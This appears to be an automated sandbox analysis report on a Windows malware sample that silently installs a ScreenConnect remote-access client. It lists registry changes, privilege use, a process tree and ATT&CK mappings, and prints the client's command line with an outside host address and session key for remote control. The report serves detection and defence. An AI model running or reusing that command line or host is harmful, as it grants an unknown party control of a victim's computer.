\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe - Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\Language = "1033" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\AppUserModelId\NotifyIconGeneratedAumid_1309412828468502232 explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\MuiCache SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (5c579ccd203d09fa)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\AppUserModelId explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5c579ccd203d09fa\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5B58F3645D2E138D35534D1A79B160CD msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3437697693-2283162250-3003737219-1000\{44332A56-D78E-4F88-8AFA-CA079E1486B5} explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5c579ccd203d09fa msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5B58F3645D2E138D35534D1A79B160CD\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\ProductIcon = "C:\\Windows\\Installer\\{463F85B5-E2D5-D831-5335-D4A1971B06DC}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\AppUserModelId\NotifyIconGeneratedAumid_1309412828468502232\DisplayName = "ScreenConnect Client" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A9C3414685B9B880C575C9DC02D390AF\5B58F3645D2E138D35534D1A79B160CD msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\UseOriginalUrlEncoding = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\AppUserModelId\NotifyIconGeneratedAumid_1309412828468502232\IconUri = "C:\\Users\\Admin\\AppData\\Local\\Temp\\NotifyIconGeneratedAumid_1309412828468502232.png" explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.0.9440\\5c579ccd203d09fa\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5c579ccd203d09fa\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\ProductName = "ScreenConnect Client (5c579ccd203d09fa)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.0.9440\\5c579ccd203d09fa\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\Version = "419954688" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5B58F3645D2E138D35534D1A79B160CD\InstanceType = "0" msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1932 explorer.exe 1932 explorer.exe 3576 msiexec.exe 3576 msiexec.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3392 2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe Token: SeShutdownPrivilege 3888 msiexec.exe Token: SeIncreaseQuotaPrivilege 3888 msiexec.exe Token: SeSecurityPrivilege 3576 msiexec.exe Token: SeCreateTokenPrivilege 3888 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3888 msiexec.exe Token: SeLockMemoryPrivilege 3888 msiexec.exe Token: SeIncreaseQuotaPrivilege 3888 msiexec.exe Token: SeMachineAccountPrivilege 3888 msiexec.exe Token: SeTcbPrivilege 3888 msiexec.exe Token: SeSecurityPrivilege 3888 msiexec.exe Token: SeTakeOwnershipPrivilege 3888 msiexec.exe Token: SeLoadDriverPrivilege 3888 msiexec.exe Token: SeSystemProfilePrivilege 3888 msiexec.exe Token: SeSystemtimePrivilege 3888 msiexec.exe Token: SeProfSingleProcessPrivilege 3888 msiexec.exe Token: SeIncBasePriorityPrivilege 3888 msiexec.exe Token: SeCreatePagefilePrivilege 3888 msiexec.exe Token: SeCreatePermanentPrivilege 3888 msiexec.exe Token: SeBackupPrivilege 3888 msiexec.exe Token: SeRestorePrivilege 3888 msiexec.exe Token: SeShutdownPrivilege 3888 msiexec.exe Token: SeDebugPrivilege 3888 msiexec.exe Token: SeAuditPrivilege 3888 msiexec.exe Token: SeSystemEnvironmentPrivilege 3888 msiexec.exe Token: SeChangeNotifyPrivilege 3888 msiexec.exe Token: SeRemoteShutdownPrivilege 3888 msiexec.exe Token: SeUndockPrivilege 3888 msiexec.exe Token: SeSyncAgentPrivilege 3888 msiexec.exe Token: SeEnableDelegationPrivilege 3888 msiexec.exe Token: SeManageVolumePrivilege 3888 msiexec.exe Token: SeImpersonatePrivilege 3888 msiexec.exe Token: SeCreateGlobalPrivilege 3888 msiexec.exe Token: SeCreateTokenPrivilege 3888 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3888 msiexec.exe Token: SeLockMemoryPrivilege 3888 msiexec.exe Token: SeIncreaseQuotaPrivilege 3888 msiexec.exe Token: SeMachineAccountPrivilege 3888 msiexec.exe Token: SeTcbPrivilege 3888 msiexec.exe Token: SeSecurityPrivilege 3888 msiexec.exe Token: SeTakeOwnershipPrivilege 3888 msiexec.exe Token: SeLoadDriverPrivilege 3888 msiexec.exe Token: SeSystemProfilePrivilege 3888 msiexec.exe Token: SeSystemtimePrivilege 3888 msiexec.exe Token: SeProfSingleProcessPrivilege 3888 msiexec.exe Token: SeIncBasePriorityPrivilege 3888 msiexec.exe Token: SeCreatePagefilePrivilege 3888 msiexec.exe Token: SeCreatePermanentPrivilege 3888 msiexec.exe Token: SeBackupPrivilege 3888 msiexec.exe Token: SeRestorePrivilege 3888 msiexec.exe Token: SeShutdownPrivilege 3888 msiexec.exe Token: SeDebugPrivilege 3888 msiexec.exe Token: SeAuditPrivilege 3888 msiexec.exe Token: SeSystemEnvironmentPrivilege 3888 msiexec.exe Token: SeChangeNotifyPrivilege 3888 msiexec.exe Token: SeRemoteShutdownPrivilege 3888 msiexec.exe Token: SeUndockPrivilege 3888 msiexec.exe Token: SeSyncAgentPrivilege 3888 msiexec.exe Token: SeEnableDelegationPrivilege 3888 msiexec.exe Token: SeManageVolumePrivilege 3888 msiexec.exe Token: SeImpersonatePrivilege 3888 msiexec.exe Token: SeCreateGlobalPrivilege 3888 msiexec.exe Token: SeCreateTokenPrivilege 3888 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3888 msiexec.exe - Suspicious use of FindShellTrayWindow 60 IoCs
pid Process 3888 msiexec.exe 2636 sihost.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 3888 msiexec.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 1932 explorer.exe - Suspicious use of SendNotifyMessage 51 IoCs
pid Process 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 1932 explorer.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 996 ScreenConnect.WindowsClient.exe 1932 explorer.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 3888 msiexec.exe 3576 msiexec.exe 364 MsiExec.exe 4256 StartMenuExperienceHost.exe 3096 SearchHost.exe 1932 explorer.exe 1676 MsiExec.exe 2472 MsiExec.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3392 wrote to memory of 3888 3392 2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe 88 PID 3576 wrote to memory of 364 3576 msiexec.exe 90 PID 364 wrote to memory of 3988 364 MsiExec.exe 91 PID 2636 wrote to memory of 1932 2636 sihost.exe 98 PID 3576 wrote to memory of 4884 3576 msiexec.exe 108 PID 3576 wrote to memory of 1676 3576 msiexec.exe 110 PID 3576 wrote to memory of 2472 3576 msiexec.exe 111 PID 4908 wrote to memory of 996 4908 ScreenConnect.ClientService.exe 113 PID 4908 wrote to memory of 3092 4908 ScreenConnect.ClientService.exe 114 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.0.9440\5c579ccd203d09fa\ScreenConnect.ClientSetup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3888
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3A67913E8A96A14060ED9A3A22844C84 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI640F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3988
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:4884
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6DA05CAEDEB6736367FD6A5FC47DA4D02⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1676
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0EA61639AA6BEA9143341B05E3F69C68 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2472
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:3504
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1932
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4256
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3096
-
C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=144.91.106.240&p=8041&s=d2a2a356-f310-44df-98e1-4e5cf38aca31&k=BgIAAACkAABSU0ExAAgAAAEAAQCBco5a46wCbyCAOcd12hr9ge8sSvODJIG5%2beYEwL%2ftvrTionW3Ni7DRHzVtQU%2fyqy99gQ4yrVtQTehq4%2bGLLNSJQDAFw51trRymMLhWpYc8hBXBi927VCISmN2bWiBEtDmFQ8ZsU8XsYAuijFxmtvMbarAFJcXbiP1MiDP7QWfHYtJK%2beSDBvUF2HhgsyoXvA92hSFQczcKSjm2VnFXzPZIaT8mZ0YPTeWwAb8H3%2bgtS%2fHUbumx0c0Yn8NEbeP6p6jXo%2byXq%2fa82vuhOOoGGf3KUJk1L2lolwVaINRM%2bneIznmSbRwSIf8JEGZ8Ds6gMt%2bKmHXen001INKGxK85oC8&r=&i=Untitled%20Session"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe" "RunRole" "437de2b9-b13a-4dcf-8377-49d78a1ccabb" "User"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:996
-
-
C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe" "RunRole" "a44fa629-9add-4099-b624-c5f3c1abc2e0" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3092
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
